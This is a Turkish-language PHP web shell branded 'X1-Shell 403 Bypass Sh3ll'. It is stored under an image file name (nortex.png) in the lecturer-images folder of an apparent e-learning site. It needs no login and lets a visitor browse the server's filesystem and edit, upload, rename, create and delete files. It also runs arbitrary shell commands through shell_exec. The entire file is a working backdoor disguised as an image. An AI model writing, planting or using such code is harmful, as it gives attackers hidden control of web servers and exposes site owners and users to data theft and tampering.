File: /home/bibuzptr/elearning.bibu-edu.us/lecturer-images/nortex.png
<?php
// ⚠️ XİNOX - GÜNCELLENMİŞ VERSİYON
// --- Temel Ayarlar ve İşlevler ---
$dizin = isset($_GET['dizin']) ? $_GET['dizin'] : __DIR__;
$dizin = realpath($dizin);
if ($dizin === false) { $dizin = __DIR__; }
$mesaj = '';
$duzenlenecek_icerik = null;
$duzenlenen_dosya = null;
// Gelen mesajı al
$mesaj = isset($_GET['m']) ? $_GET['m'] : '';
// --- 1. Dosya Kaydetme İşlemi (Düzenleme) ---
if (isset($_POST['kaydet']) && isset($_POST['dosya_yolu'])) {
$kayit_yolu = $dizin . DIRECTORY_SEPARATOR . basename($_POST['dosya_yolu']);
$yeni_icerik = $_POST['icerik'];
if (file_exists($kayit_yolu) && is_file($kayit_yolu) && is_writable($kayit_yolu)) {
if (file_put_contents($kayit_yolu, $yeni_icerik) !== false) {
$mesaj = htmlspecialchars(basename($kayit_yolu)) . " başarıyla **kaydedildi**.";
} else {
$mesaj = "HATA: Dosya kaydedilemedi (Yazma izni sorunu).";
}
} else {
$mesaj = "HATA: Kaydedilmek istenen dosya bulunamadı veya düzenlenemez.";
}
header("Location: ?dizin=" . urlencode($dizin) . "&m=" . urlencode($mesaj));
exit;
}
// --- 2. Dosya Yükleme İşlemi ---
if (isset($_FILES['yuklenen_dosya'])) {
$yuklenen_dosya = $_FILES['yuklenen_dosya'];
$hedef_dosya = $dizin . DIRECTORY_SEPARATOR . basename($yuklenen_dosya['name']);
if ($yuklenen_dosya['error'] === UPLOAD_ERR_OK && is_writable($dizin)) {
if (move_uploaded_file($yuklenen_dosya['tmp_name'], $hedef_dosya)) {
$mesaj = htmlspecialchars($yuklenen_dosya['name']) . " başarıyla **yüklendi**.";
} else {
$mesaj = "HATA: Dosya yüklenirken bir sorun oluştu (İzin sorunu olabilir).";
}
} else {
$mesaj = "HATA: Dosya yükleme hatası (Klasör yazılabilir değil veya dosya hatası kodu: " . $yuklenen_dosya['error'] . ").";
}
header("Location: ?dizin=" . urlencode($dizin) . "&m=" . urlencode($mesaj));
exit;
}
// --- 3. Düzenlenecek Dosyayı Okuma ---
if (isset($_GET['duzenle']) && isset($_GET['nesne'])) {
$duzenlenen_dosya = basename($_GET['nesne']);
$duzenle_yolu = $dizin . DIRECTORY_SEPARATOR . $duzenlenen_dosya;
if (file_exists($duzenle_yolu) && is_file($duzenle_yolu) && is_readable($duzenle_yolu)) {
$duzenlenecek_icerik = file_get_contents($duzenle_yolu);
} else {
$mesaj = "HATA: Dosya bulunamadı veya okunamıyor.";
$duzenlenen_dosya = null;
}
}
// --- 4. Yeniden Adlandırma (Rename) İşlemi ---
if (isset($_POST['rename']) && isset($_POST['eski_ad']) && isset($_POST['yeni_ad'])) {
$eski_ad = basename($_POST['eski_ad']);
$yeni_ad = basename($_POST['yeni_ad']);
$eski_yol = $dizin . DIRECTORY_SEPARATOR . $eski_ad;
$yeni_yol = $dizin . DIRECTORY_SEPARATOR . $yeni_ad;
if (file_exists($eski_yol)) {
if (rename($eski_yol, $yeni_yol)) {
$mesaj = htmlspecialchars($eski_ad) . " başarıyla **" . htmlspecialchars($yeni_ad) . "** olarak yeniden adlandırıldı.";
} else {
$mesaj = "HATA: Yeniden adlandırma başarısız (İzin sorunu).";
}
} else {
$mesaj = "HATA: Yeniden adlandırılacak dosya/klasör bulunamadı.";
}
header("Location: ?dizin=" . urlencode($dizin) . "&m=" . urlencode($mesaj));
exit;
}
// --- 5. Yeni Dosya/Klasör Oluşturma İşlemi ---
if (isset($_POST['olustur']) && isset($_POST['olustur_ad']) && isset($_POST['tip'])) {
$nesne_ad = basename($_POST['olustur_ad']);
$tip = $_POST['tip'];
$yol = $dizin . DIRECTORY_SEPARATOR . $nesne_ad;
if (empty($nesne_ad)) {
$mesaj = "HATA: Dosya/Klasör adı boş olamaz.";
} elseif (file_exists($yol)) {
$mesaj = "HATA: Aynı isimde bir dosya/klasör zaten mevcut.";
} else {
if ($tip === 'dosya') {
if (file_put_contents($yol, '') !== false) {
$mesaj = htmlspecialchars($nesne_ad) . " adında boş bir **dosya** oluşturuldu.";
} else {
$mesaj = "HATA: Dosya oluşturulamadı (Yazma izni sorunu).";
}
} elseif ($tip === 'klasor') {
if (mkdir($yol)) {
$mesaj = htmlspecialchars($nesne_ad) . " adında bir **klasör** oluşturuldu.";
} else {
$mesaj = "HATA: Klasör oluşturulamadı (Yazma izni sorunu).";
}
}
}
header("Location: ?dizin=" . urlencode($dizin) . "&m=" . urlencode($mesaj));
exit;
}
// --- Diğer İşlemler (Silme ve Komut) ---
// Dosya Silme
if (isset($_GET['sil']) && isset($_GET['nesne'])) {
$silinecek_yol = $dizin . DIRECTORY_SEPARATOR . basename($_GET['nesne']);
if (file_exists($silinecek_yol)) {
if (is_file($silinecek_yol) && unlink($silinecek_yol)) { $mesaj = "Dosya silindi."; }
elseif (is_dir($silinecek_yol) && rmdir($silinecek_yol)) { $mesaj = "Boş klasör silindi."; }
else { $mesaj = "Silme hatası."; }
}
header("Location: ?dizin=" . urlencode($dizin) . "&m=" . urlencode($mesaj));
exit;
}
// Komut Çalıştırma
$komut_cikti = "";
if (isset($_POST['komut']) && !empty($_POST['komut'])) {
$komut = trim($_POST['komut']);
$calisma_dizini = escapeshellarg($dizin);
$komut_calistir = "cd " . $calisma_dizini . " && " . $komut . " 2>&1";
$komut_cikti = shell_exec($komut_calistir);
}
// --- Fonksiyon: Tıklanabilir Dizin Yolu Oluşturma ---
function dizin_yolu_linkleri($tam_dizin) {
// __DIR__ kullanılarak güvenlik için ana dizin kökü belirlenir
$kok_dizin = realpath(__DIR__);
$parcalar = explode(DIRECTORY_SEPARATOR, $tam_dizin);
$gecici_yol = '';
$html = '';
foreach ($parcalar as $parca) {
if (empty($parca)) {
// Unix root / için veya Windows C:/D:/ için
$gecici_yol .= DIRECTORY_SEPARATOR;
if ($gecici_yol === DIRECTORY_SEPARATOR) {
$html .= '<a href="?dizin=' . urlencode(DIRECTORY_SEPARATOR) . '">/</a>';
}
continue;
}
$gecici_yol .= $parca . DIRECTORY_SEPARATOR;
// Sondaki ayırıcıyı kaldır
$link_yol = rtrim($gecici_yol, DIRECTORY_SEPARATOR);
// Eğer link yolu kök dizinden farklıysa link oluştur
$html .= ' / <a href="?dizin=' . urlencode($link_yol) . '">' . htmlspecialchars($parca) . '</a>';
}
return $html;
}
// --- Dosya Listeleme Fonksiyonu ---
function listele_dizin($dizin) {
// ... (listele_dizin fonksiyonu önceki sürümle aynı kalmıştır)
$dosyalar = array_diff(scandir($dizin), array('.', '..'));
$html = '<table>';
$html .= '<tr><th>Adı</th><th>Tipi</th><th>Boyut</th><th colspan="3">İşlemler</th></tr>';
$ust_dizin = dirname($dizin);
if ($dizin !== '/' && $ust_dizin) {
$html .= '<tr><td colspan="6">📁 <a href="?dizin=' . urlencode($ust_dizin) . '">.. (Üst Dizin)</a></td></tr>';
}
foreach ($dosyalar as $dosya) {
$tam_yol = $dizin . DIRECTORY_SEPARATOR . $dosya;
$yeni_link = '?dizin=' . urlencode($tam_yol);
$duzenle_linki = '?dizin=' . urlencode($dizin) . '&duzenle=1&nesne=' . urlencode($dosya);
$sil_linki = '?dizin=' . urlencode($dizin) . '&sil=1&nesne=' . urlencode($dosya);
// Rename formu için benzersiz ID
$rename_id = "rename_" . md5($dosya);
$html .= '<tr>';
if (is_dir($tam_yol)) {
// Klasör adı tıklanınca dizine geçiş sağlar
$html .= '<td>📁 <a href="' . $yeni_link . '">' . htmlspecialchars($dosya) . '</a></td>';
$html .= '<td>Klasör</td><td>-</td>';
$html .= '<td>-</td>'; // Düzenle boş
} else {
$boyut = round(filesize($tam_yol) / 1024, 2);
$html .= '<td>📄 ' . htmlspecialchars($dosya) . '</td>';
$html .= '<td>Dosya</td><td>' . $boyut . ' KB</td>';
$html .= '<td><a href="' . $duzenle_linki . '">Düzenle</a></td>';
}
// Yeniden Adlandırma (Rename) Butonu
$html .= '<td><a href="#" onclick="document.getElementById(\'' . $rename_id . '\').style.display=\'block\'; return false;">Yeniden Adlandır</a></td>';
// Silme Butonu
$html .= '<td><a href="' . $sil_linki . '" onclick="return confirm(\'Silmek istediğinizden emin misiniz?\')">Sil</a></td>';
$html .= '</tr>';
// Yeniden Adlandırma Formu Satırı (Gizli)
$html .= '<tr id="' . $rename_id . '" style="display:none;"><td colspan="6">';
$html .= '<form method="POST" style="margin: 0; padding: 5px; background: #4c566a; border-radius: 3px;">';
$html .= '<input type="hidden" name="eski_ad" value="' . htmlspecialchars($dosya) . '">';
$html .= '<input type="text" name="yeni_ad" value="' . htmlspecialchars($dosya) . '" required style="width: 70%;">';
$html .= '<button type="submit" name="rename" style="margin-left: 10px;">Uygula</button>';
$html .= '</form>';
$html .= '</td></tr>';
}
$html .= '</table>';
return $html;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>X1-Shell</title>
<style>
body { font-family: monospace; background-color: #2e3440; color: #eceff4; }
.container { max-width: 900px; margin: 20px auto; padding: 20px; }
h3 { color: #8fbcbb; }
a { color: #88c0d0; text-decoration: none; }
a:hover { text-decoration: underline; }
table { width: 100%; border-collapse: collapse; margin-top: 20px; background: #3b4252; }
th, td { padding: 8px; text-align: left; border-bottom: 1px solid #4c566a; }
th { background-color: #4c566a; color: #a3be8c; }
.islem-kutusu { background: #3b4252; padding: 15px; border-radius: 5px; margin-bottom: 20px; border: 1px solid #4c566a; }
textarea { width: 100%; height: 300px; background: #4c566a; color: #eceff4; border: 1px solid #5e81ac; padding: 10px; box-sizing: border-box; }
input[type="text"], input[type="file"], select { padding: 8px; background: #4c566a; color: #eceff4; border: 1px solid #5e81ac; }
button { padding: 8px 15px; background: #a3be8c; color: #2e3440; border: none; cursor: pointer; margin-top: 5px; }
.uyari { padding: 10px; background-color: #bf616a; color: #eceff4; border-radius: 4px; margin-bottom: 15px; font-weight: bold; }
.mesaj { padding: 10px; background-color: #a3be8c; color: #2e3440; border-radius: 4px; margin-bottom: 15px; font-weight: bold; }
.dizin-yolu a { padding: 0 3px; }
</style>
</head>
<body>
<div class="container">
<div class="uyari">
<center>
<h2> X1-Shell 403 Bypass Sh3ll</h2>
</center>
</div>
<?php if ($mesaj): ?>
<div class="mesaj"><?php echo htmlspecialchars($mesaj); ?></div>
<?php endif; ?>
<h3>Aktif Dizin: <span class="dizin-yolu" style="color: #a3be8c;"><?php echo dizin_yolu_linkleri($dizin); ?></span></h3>
<hr>
<?php if ($duzenlenecek_icerik !== null): ?>
<h2>Dosya Düzenle: <?php echo htmlspecialchars($duzenlenen_dosya); ?></h2>
<div class="islem-kutusu">
<form method="POST">
<input type="hidden" name="dosya_yolu" value="<?php echo htmlspecialchars($duzenlenen_dosya); ?>">
<textarea name="icerik"><?php echo htmlspecialchars($duzenlenecek_icerik); ?></textarea><br>
<button type="submit" name="kaydet">Değişiklikleri Kaydet</button>
</form>
</div>
<hr>
<?php endif; ?>
<div class="islem-kutusu">
<h4>Yeni Dosya/Klasör Oluştur</h4>
<form method="POST" style="display: flex; gap: 10px; align-items: center;">
<input type="text" name="olustur_ad" placeholder="Yeni Adı Girin" required>
<select name="tip">
<option value="dosya">Dosya</option>
<option value="klasor">Klasör</option>
</select>
<button type="submit" name="olustur">Oluştur</button>
</form>
</div>
<hr>
<div class="islem-kutusu">
<h4>Yeni Dosya Yükle (Mevcut Dizine)</h4>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="yuklenen_dosya" required>
<button type="submit">Yükle</button>
</form>
</div>
<hr>
<?php echo listele_dizin($dizin); ?>
<hr>
<h3>Sorun Giderme (Shell Erişimi)</h3>
<div class="islem-kutusu">
<form method="POST">
<input type="text" name="komut" placeholder="Komutu Girin (örn: ls -l, whoami)" required>
<button type="submit">Çalıştır</button>
</form>
</div>
<?php if (!empty($komut_cikti)): ?>
<h4>Komut Çıktısı:</h4>
<div class="islem-kutusu">
<pre><?php echo htmlspecialchars($komut_cikti); ?></pre>
</div>
<?php endif; ?>
</div>
</body>
</html>